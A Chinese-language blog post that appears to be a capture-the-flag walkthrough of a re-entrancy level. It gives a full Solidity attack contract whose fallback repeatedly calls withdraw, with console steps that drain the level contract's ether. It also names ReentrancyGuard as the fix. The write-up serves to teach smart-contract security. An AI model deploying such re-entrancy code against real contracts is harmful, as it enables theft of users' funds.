10. Re-entrancy

Re-entrancy attack可以說是其中一種最常見的攻擊了,引起過巨額的損失,連DeFi界龍頭UniSwap在V1的階段都曾有此漏洞。這裏就介紹了Uniswap在V1時可如何受到Re-entrancy attack的攻擊。

要防止Re-entrancy attack,最簡單的方法是使用OpenZeppelinReentrancyGuard

首先打開Console (F12),輸入

> instance

下方會回傳當前關卡合約地址。

然後打開Remix IDE,新建檔案Reentrance.sol貼上:

pragma solidity ^0.8.0;

interface IReentrance {
    function withdraw(uint256 _amount) external;
}

contract Reentrance {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function claim(uint256 _amount) public {
        IReentrance(levelInstance).withdraw(_amount);
    }

    fallback() external payable {
        IReentrance(levelInstance).withdraw(msg.value);
    }
}

在constructor填入關卡合約地址後發佈。

由於要觸發withdraw首先要呼叫donate函數把以太幣存入攻擊合約名下,回到Console,輸入

> contract.donate("攻擊合約地址", {value: toWei("0.5")})

存入完成後回到Remix IDE,呼叫claim函數,填入參數500000000000000000 (0.5 ether)。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: